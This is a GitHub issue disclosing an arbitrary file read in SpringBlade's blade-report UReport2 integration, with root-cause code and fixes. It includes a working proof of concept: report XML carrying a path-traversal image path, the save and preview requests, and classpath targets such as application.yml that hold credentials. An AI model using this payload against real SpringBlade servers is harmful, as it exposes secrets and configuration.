Skip to content

Arbitrary File Read via Image Cell Path in SpringBlade blade-report /ureport/preview Endpoint #40

Description

@B1cx

Arbitrary File Read via Image Cell Path in SpringBlade blade-report /ureport/preview Endpoint

Affected Versions

  • Product: SpringBlade
  • Affected Component: blade-report module (UReport2 integration via blade-starter-report in blade-tool)
  • Affected Versions: ≤ 4.10.0 (latest version as of disclosure)
  • Underlying Dependency: com.bstek.ureport:ureport2-core / ureport2-console 2.2.9 (bundled inside blade-starter-report)
  • Affected Endpoints:
    • Injection: POST /ureport/designer/saveReportFile (persist malicious report XML to database)
    • Trigger: GET /ureport/preview?_u=<report> (HTML preview reads file and embeds contents in response)
  • Default Service: blade-report microservice, port 8108 (Cloud edition per official docs)

Impact

The blade-report module integrates UReport2 through blade-starter-report, which registers UReportServlet at /ureport/* and stores report definitions in the database via DatabaseProvider. UReport2 allows report designers to insert image cells whose source is a filesystem or classpath path.

During HTML preview, the report engine reads the attacker-controlled path through DefaultImageProvider (vendored in blade-starter-report), Base64-encodes the raw bytes, and inlines them directly into the generated HTML as a data: URI.

Because:

  1. DatabaseProvider.saveReport() stores report XML without validating embedded <image-value> paths.
  2. DefaultImageProvider.getImage() resolves paths starting with / relative to the webapp root and supports classpath: and /WEB-INF/ prefixes — with no allow-list or traversal check.
  3. When width=0 and height=0 (the default), ImageUtils.getImageBase64Data() does not verify that the bytes form a valid image; it Base64-encodes any file unconditionally.
  4. SpringBlade's UReportAuthFilter only verifies a valid BladeX session token — it does not restrict dangerous report operations such as saving arbitrary image paths or previewing reports.

An authenticated attacker (any user with a valid BladeX token who can reach /ureport/*) can read arbitrary files accessible to the blade-report JVM process:

Path prefix Example Readable targets on SpringBlade
/ (web-root relative + traversal) /../../../../etc/passwd OS files (/etc/passwd, C:\Windows\win.ini)
classpath: classpath:application.yml Spring Boot config, JDBC credentials, Nacos bootstrap settings
classpath: classpath:bootstrap.yml Cloud config secrets loaded by blade-report
/WEB-INF/ /WEB-INF/web.xml Deployment descriptors (WAR deployments)

Impact summary:

  1. Arbitrary Local File Read (CWE-22 / CWE-552): Database connection strings, Nacos/registry credentials, JWT signing keys, cloud access keys, SSH private keys, and other sensitive files on the blade-report server.
  2. Information Disclosure (CWE-200): File contents are returned inline in the HTML preview response (data:image/png;base64,...), trivially decodable by the attacker.
  3. Distinct from XXE (Issue XXE via Report XML Parsing in SpringBlade blade-report /ureport/designer/loadReport Endpoint #37): This vulnerability does not rely on XML external entities or SAXParser misconfiguration. It is triggered purely through the image-cell rendering pipeline during report preview — a separate, independently exploitable flaw in the same UReport2 integration.

Steps to Reproduce

Environment

  • SpringBlade ≤ 4.10.0 with blade-report service enabled
  • Valid BladeX authentication token (obtain via normal login)
  • blade-report default port: 8108

Step 1: Save a Malicious Report via saveReportFile

Craft a report XML containing an image cell whose source="text" path points to the target file. Keep width and height at 0 (default) so ImageIO validation is skipped.

Original XML payload (before URL-encoding):

<?xml version="1.0" encoding="UTF-8"?>
<ureport>
  <cell expand="None" name="A1" row="1" col="1">
    <cell-style font-size="10" align="center" valign="middle"></cell-style>
    <image-value source="text" width="0" height="0">
      <text><![CDATA[/../../../../windows/win.ini]]></text>
    </image-value>
  </cell>
  <row row-number="1" height="18"/>
  <column col-number="1" width="400"/>
  <paper type="A4" left-margin="90" right-margin="90" top-margin="72" bottom-margin="72"
         paging-mode="fitpage" fixrows="0" width="595" height="842" orientation="portrait"
         html-report-align="left" bg-image="" html-interval-refresh-value="0"
         column-enabled="false"></paper>
</ureport>

Send the request to the blade-report service with a valid Blade-Auth token header. The content parameter must be URL-encoded (matching the designer JavaScript encodeURIComponent behavior):

POST /ureport/designer/saveReportFile HTTP/1.1
Host: localhost:8108
Blade-Auth: <valid_token>
Content-Type: application/x-www-form-urlencoded

file=blade:lfi-winini.ureport.xml&content=<url_encoded_xml>

Screenshot placeholder: Burp request showing authenticated saveReportFile with image-value payload.
20260708090807

The report XML is persisted to the MySQL database via DatabaseProvider.saveReport() without any validation of the embedded image path:

// org.springblade.core.report.provider.DatabaseProvider
public void saveReport(String file, String content) {
    // ...
    reportFileEntity.setContent(content.getBytes());  // raw XML stored, image path unchecked
    service.saveOrUpdate(reportFileEntity);
}

Screenshot placeholder: 200 OK response / report saved in database.
20260708085923

Alternative injection (no database persistence): POST /ureport/designer/savePreviewData with the same XML, then use _u=p in Step 2.

SpringBlade-specific high-value paths to test after basic PoC:

<!-- blade-report application config -->
<text><![CDATA[classpath:application.yml]]></text>

<!-- Nacos / cloud bootstrap config -->
<text><![CDATA[classpath:bootstrap.yml]]></text>

Step 2: Trigger File Read via HTML Preview

Request the saved report through the preview endpoint:

GET /ureport/preview?_u=blade:lfi-winini.ureport.xml HTTP/1.1
Host: localhost:8108
Blade-Auth: <valid_token>

Screenshot placeholder: Preview request in Burp or browser.
20260708090359

During preview, HtmlPreviewServletAction.loadReport()ReportBuilder.buildReport()ImageValueCompute.compute() resolves the image path and reads the target file from the blade-report server filesystem.

Step 3: Extract File Contents from Response

Inspect the HTML response body. The image cell is rendered as:

<img src="data:image/png;base64,<BASE64_OF_FILE_CONTENTS>" ... />

Base64-decode the src payload to recover the plaintext file contents:

echo "<BASE64_STRING>" | base64 -d

Screenshot placeholder: HTML source showing data:image/png;base64,... in preview response.
20260708090416

Screenshot placeholder: Decoded file contents (e.g. win.ini or application.yml) confirming arbitrary file read.
20260708090443

This confirms successful arbitrary file read on the blade-report server via the UReport2 image rendering pipeline.

Root Cause Analysis

The vulnerability exists in the UReport2 image-loading code bundled inside SpringBlade's blade-starter-report. SpringBlade adds token-based authentication via UReportAuthFilter, but performs no input validation or sandboxing on report content or image paths.

1. SpringBlade stores malicious image paths without validation

DesignerServletAction.saveReportFile() URL-decodes the content parameter and passes it to DatabaseProvider.saveReport(), which writes the raw XML string to the database. The embedded <image-value><text> path is never inspected:

// com.bstek.ureport.console.designer.DesignerServletAction
public void saveReportFile(HttpServletRequest req, HttpServletResponse resp) {
    String file = req.getParameter("file");
    String content = req.getParameter("content");
    content = decodeContent(content);
    targetReportProvider.saveReport(file, content);  // DatabaseProvider in SpringBlade
    // ...
}
// org.springblade.core.report.provider.DatabaseProvider
public void saveReport(String file, String content) {
    reportFileEntity.setContent(content.getBytes());  // no sanitization
    service.saveOrUpdate(reportFileEntity);
}

2. Preview triggers unrestricted file read via DefaultImageProvider

When preview is requested, ImageValueCompute passes the stored path to ImageUtils.getImageBase64Data():

// com.bstek.ureport.build.compute.ImageValueCompute
if (source.equals(Source.text)) {
    String base64Data = ImageUtils.getImageBase64Data(
        ImageType.image, value.getValue(), width, height);
    list.add(new BindData(new Image(base64Data, value.getValue(), -1, -1)));
}

DefaultImageProvider (vendored in blade-starter-report) reads any supported path with no restriction:

// com.bstek.ureport.provider.image.DefaultImageProvider (blade-starter-report)
public InputStream getImage(String path) {
    if (path.startsWith(ResourceUtils.CLASSPATH_URL_PREFIX) || path.startsWith("/WEB-INF")) {
        return applicationContext.getResource(path).getInputStream();
    } else {
        path = baseWebPath + path;   // web-root relative; supports ../ traversal
        return new FileInputStream(path);
    }
}

3. Default dimensions bypass image format validation

When width=0 and height=0, ImageUtils.getImageBase64Data() skips ImageIO.read() and Base64-encodes any byte stream:

// com.bstek.ureport.utils.ImageUtils (blade-starter-report)
public static String getImageBase64Data(ImageType type, Object data, int width, int height) {
    InputStream inputStream = targetProcessor.getImage(data);
    if (width > 0 && height > 0) {
        BufferedImage inputImage = ImageIO.read(inputStream);  // only when width/height > 0
        // ... resize ...
    }
    byte[] bytes = IOUtils.toByteArray(inputStream);
    return Base64Utils.encodeToString(bytes);  // raw file bytes returned
}

4. File contents exfiltrated in HTML preview response

HtmlProducer embeds the Base64 data directly into the preview HTML returned to the attacker:

// com.bstek.ureport.export.html.HtmlProducer (simplified)
Image img = (Image) obj;
sb.append("<img src=\"data:" + imageType + ";base64," + img.getBase64Data() + "\" ... />");

5. Insufficient access control in SpringBlade integration

UReportAuthFilter only checks whether the caller holds a valid BladeX token or session — it does not enforce role-based restrictions on designer/save/preview operations:

// org.springblade.core.report.filter.UReportAuthFilter
private boolean isTokenAuthenticated(HttpServletRequest request) {
    Long userId = AuthUtil.getUserId(request);
    return userId != null && userId > 0;  // any authenticated user passes
}

Attack chain summary:

Authenticated attacker
    → POST /ureport/designer/saveReportFile (inject image path in XML)
        → DatabaseProvider.saveReport() → MySQL (blade_report table)
            → GET /ureport/preview?_u=blade:...
                → ReportBuilder.buildReport()
                    → ImageValueCompute → DefaultImageProvider.getImage()
                        → FileInputStream / classpath Resource
                            → ImageUtils.getImageBase64Data() (no image validation at 0×0)
                                → HtmlProducer inlines Base64 in HTML response
                                    → Attacker decodes sensitive file contents

Remediation

Immediate Mitigation

  1. Block designer and preview endpoints in production if report authoring is not required at runtime. Restrict at the Spring Cloud Gateway or reverse proxy:

    /ureport/designer/*
    /ureport/preview
    
  2. Restrict UReport access by role — extend UReportAuthFilter to require an administrator/designer role, not merely a valid token.

Code-Level Fixes (recommended for blade-starter-report)

  1. Restrict DefaultImageProvider to an allow-listed directory — resolve paths with Path.normalize() and verify the canonical path stays under a configured base directory; reject classpath:, /WEB-INF/, and any .. segments.

  2. Always validate image content before encoding — call ImageIO.read() regardless of width/height; reject streams that are not valid image formats.

  3. Sanitize report XML on save — in DatabaseProvider.saveReport() or a wrapper, reject <image-value> paths containing .., classpath:, /WEB-INF, or paths outside the allow-list.

  4. Do not inline local file bytes in HTML preview — serve images through a dedicated endpoint using opaque cache keys instead of user-supplied paths.

Example secure path resolution

private static final Path ALLOWED_IMAGE_DIR = Paths.get("/var/ureport/images").toRealPath();

public InputStream getImage(String path) throws IOException {
    Path resolved = ALLOWED_IMAGE_DIR.resolve(stripLeadingSlash(path)).normalize();
    if (!resolved.startsWith(ALLOWED_IMAGE_DIR)) {
        throw new ReportComputeException("Image path not allowed: " + path);
    }
    return Files.newInputStream(resolved);
}

Relationship to Other SpringBlade UReport Issues

Issue Vulnerability Trigger Endpoint
#36 SSRF / JDBC file read / RCE via testConnection POST /ureport/datasource/testConnection
#37 XXE arbitrary file read via report XML parsing POST saveReportFileGET loadReport
This report Arbitrary file read via image cell path POST saveReportFileGET /ureport/preview

These are independent vulnerabilities in the same blade-report UReport2 integration. Fixing XXE in ReportParser does not remediate this image-path file read.

References

Credit

Discovered by: B1cx

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions